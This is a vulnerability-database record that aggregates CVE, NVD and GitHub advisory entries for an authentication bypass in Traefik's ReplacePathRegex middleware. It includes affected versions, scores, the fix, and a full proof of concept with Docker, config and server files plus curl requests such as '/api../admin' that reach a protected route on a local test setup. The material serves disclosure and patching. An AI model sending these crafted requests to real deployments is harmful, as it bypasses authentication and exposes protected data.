{"id":"GO-2026-6208","revision":null,"records":[{"revision":"ab0eeafd25b84d52aba96360510de354","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-65600","aliases":[],"title":"Traefik before v2.11.52 Authentication Bypass via ReplacePathRegex","description":"Traefik versions <= v2.11.51, >= v3.6.0 <= v3.6.22, and >= v3.7.0 <= v3.7.6 contain an authentication bypass via path traversal in the ReplacePathRegex middleware. When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g. regex \"^/api(.*)\", replacement \"/$1\"), the middleware forwards the replaced path to the backend without validating that it matches its normalized form. An unauthenticated remote attacker can send a crafted request (e.g. GET /api../admin) that produces an un-normalized path such as /../admin, which a backend that normalizes paths resolves to a protected route, bypassing authentication middleware. Fixed in v2.11.52, v3.6.23, and v3.7.7.","state":0,"publishedAt":"2026-07-22T11:21:46.783+00:00","modifiedAt":"2026-10-08T15:23:54.243+00:00","affected":[{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/traefik/traefik/v2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"2.11.52\"\n                        },\n                        {\n                            \"version\": \"2.11.52\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/traefik/traefik/v3\",\n                    \"versions\": [\n                        {\n                            \"version\": \"3.6.0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.6.23\"\n                        },\n                        {\n                            \"version\": \"3.6.23\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/traefik/traefik/v3\",\n                    \"versions\": [\n                        {\n                            \"version\": \"3.7.0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.7.7\"\n                        },\n                        {\n                            \"version\": \"3.7.7\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":7.8,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv","https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-65600","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-65600","identifiers":["CVE-2026-65600"]},"retained":false,"historicalAffected":[]},{"revision":"5eaef62e5d4746bf9d48f37b5c41b00e","observedAt":"2026-10-25T15:18:45.851+00:00","statement":{"source":"nvd","id":"CVE-2026-65600","aliases":[],"title":"Traefik versions <= v2.11.51, >= v3.6.0 <= v3.6.22, and >= v3.7.0 <= v3.7.6 contain an authentication bypass via path traversal in the ReplacePathRegex middleware. When ReplacePathRegex is configured with a regex that captures user-controll…","description":"Traefik versions <= v2.11.51, >= v3.6.0 <= v3.6.22, and >= v3.7.0 <= v3.7.6 contain an authentication bypass via path traversal in the ReplacePathRegex middleware. When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g. regex \"^/api(.*)\", replacement \"/$1\"), the middleware forwards the replaced path to the backend without validating that it matches its normalized form. An unauthenticated remote attacker can send a crafted request (e.g. GET /api../admin) that produces an un-normalized path such as /../admin, which a backend that normalizes paths resolves to a protected route, bypassing authentication middleware. Fixed in v2.11.52, v3.6.23, and v3.7.7.","state":0,"publishedAt":"2026-07-22T12:18:20.297+00:00","modifiedAt":"2026-10-24T13:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.8,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv","https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65600","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:*:-:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-22T12:18:20.297","lastModified":"2026-10-24T13:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-65600","identifiers":["CVE-2026-65600"]},"retained":false,"historicalAffected":[]},{"revision":"7d07ffd6bba3422f9f8838758bd3e4d0","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-cxjq-mrr5-89rv","aliases":["CVE-2026-65600","GO-2026-6208"],"title":"Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware","description":"## Summary\n\nThere is a critical authentication-bypass vulnerability in Traefik's `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.52\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nA path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.\n\n\n### Details\nWhen ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), an attacker can inject implicit traversal sequences into the capture group.\n\n**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.\n\n\n**Attack flow:**\n\n1. Attacker sends `GET /api../admin`\n2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)\n3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware)\n4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin`\n5. No normalization check exists → path forwarded to backend as-is\n6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`\n7. Attacker receives protected content without authentication\n\n**Suggested fix:** Add the same JoinPath equality check after line 67:\n\n```go\nif cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n```\n\n\n### PoC\n**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl\n\n**1. Create `docker-compose.yml`:**\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.6\n    command:\n      - \"--api.insecure=true\"\n      - \"--providers.file.filename=/etc/traefik/dynamic.yml\"\n      - \"--entrypoints.web.address=:80\"\n    ports:\n      - \"8080:8080\"\n      - \"80:80\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n    healthcheck:\n      test: [\"CMD\", \"traefik\", \"healthcheck\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n  backend:\n    image: node:22-alpine\n    working_dir: /app\n    volumes:\n      - ./server.js:/app/server.js:ro\n    command: [\"node\", \"server.js\"]\n    healthcheck:\n      test: [\"CMD\", \"wget\", \"-qO-\", \"http://localhost:3000/health\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n```\n\n**2. Create `dynamic.yml`:**\n\n```yaml\nhttp:\n  routers:\n    public-api:\n      rule: \"PathPrefix(`/api`)\"\n      entryPoints: [web]\n      middlewares: [rewrite-api]\n      service: backend-svc\n      priority: 1\n    protected-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [web]\n      middlewares: [auth]\n      service: backend-svc\n      priority: 2\n  middlewares:\n    rewrite-api:\n      replacePathRegex:\n        regex: \"^/api(.*)\"\n        replacement: \"/$1\"\n    auth:\n      basicAuth:\n        users:\n          - \"admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\"\n  services:\n    backend-svc:\n      loadBalancer:\n        servers:\n          - url: \"http://backend:3000\"\n```\n\n**3. Create `server.js`:**\n\n```javascript\nconst http = require('http');\nconst path = require('path');\nconst server = http.createServer((req, res) => {\n  const normalized = path.posix.normalize(req.url.split('?')[0]);\n  res.setHeader('Content-Type', 'text/plain');\n  if (normalized === '/health') { res.writeHead(200); res.end('OK\\n'); }\n  else if (normalized === '/admin' || normalized.startsWith('/admin/')) {\n    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\\n`);\n  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\\n`); }\n});\nserver.listen(3000);\n```\n\n**4. Run and exploit:**\n\n```bash\ndocker compose up -d && sleep 5\n\n# Confirm auth is enforced:\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost/admin\n# → 401\n\n# Auth bypass:\ncurl -s http://localhost/api../admin\n# → ADMIN_SECRET_DATA (normalized=/admin)\n\n# URL-encoded variant:\ncurl -s http://localhost/api%2e%2e/admin\n# → ADMIN_SECRET_DATA (normalized=/admin)\n```\n\n**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix(\"/api\")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix(\"/api\")` was vulnerable but `StripPrefix(\"/api/\")` was not.\n\n\n### Impact\nAuthentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.\n\n</details>\n\n---","state":0,"publishedAt":"2026-08-06T16:51:10+00:00","modifiedAt":"2026-08-18T15:10:35.1772785+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.52"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.6.23"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0"},{"kind":"fixed","version":"3.7.7"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.7.34"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv","https://nvd.nist.gov/vuln/detail/CVE-2026-65600","https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29","https://github.com/traefik/traefik","https://github.com/traefik/traefik/releases/tag/v2.11.52","https://github.com/traefik/traefik/releases/tag/v3.6.23","https://github.com/traefik/traefik/releases/tag/v3.7.7","https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"],"sourceUrl":"https://github.com/advisories/GHSA-cxjq-mrr5-89rv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-cxjq-mrr5-89rv","identifiers":["GHSA-cxjq-mrr5-89rv","CVE-2026-65600","GO-2026-6208"]},"retained":false,"historicalAffected":[]},{"revision":"6e0d8e14f38449b9b4758b9147945efb","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6208","aliases":["CVE-2026-65600","GHSA-cxjq-mrr5-89rv"],"title":"Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware in github.com/traefik/traefik","description":"Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware in github.com/traefik/traefik","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T15:00:25.649126+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.52"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.6.23"},{"kind":"introduced","version":"3.7.0"},{"kind":"fixed","version":"3.7.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv","https://nvd.nist.gov/vuln/detail/CVE-2026-65600","https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29","https://github.com/traefik/traefik/releases/tag/v2.11.52","https://github.com/traefik/traefik/releases/tag/v3.6.23","https://github.com/traefik/traefik/releases/tag/v3.7.7","https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6208","license":"OSV · upstream source license applies","key":"osv:GO-2026-6208","identifiers":["GO-2026-6208","CVE-2026-65600","GHSA-cxjq-mrr5-89rv"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T05:26:56.6538334+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T05:26:56.6538334+00:00","lastSuccessAt":"2026-10-26T05:26:56.7986454+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:26:56.7986482+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-bc703d32c448acb7291b43dd467a47b987ad86f105a430a0e30b03cf6e038792","complete":true,"records":414069,"lastAttemptAt":"2026-10-26T05:25:21.6088408+00:00","lastSuccessAt":"2026-10-26T05:25:21.5943862+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:25:21.6088408+00:00","snapshotPublishedAt":"2026-10-26T04:31:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T05:26:59.285199+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T05:26:56.6538334+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T05:26:56.6538334+00:00","lastSuccessAt":"2026-10-26T05:26:56.7998442+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:26:56.799845+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T05:26:57.2787164+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T05:26:56.2433127+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:26:56.2433127+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T05:25:21.7989429+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:25:21.7989429+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T05:26:56.6198554+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:26:56.6198554+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f936be991545888acd70d1c7b6fcb3da4be35405bbec4bff46b924c2832f41b1","complete":true,"records":230802,"lastAttemptAt":"2026-10-26T05:26:56.1119243+00:00","lastSuccessAt":"2026-10-26T05:26:54.9585845+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:26:56.1119243+00:00","snapshotPublishedAt":"2026-10-26T04:48:14+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}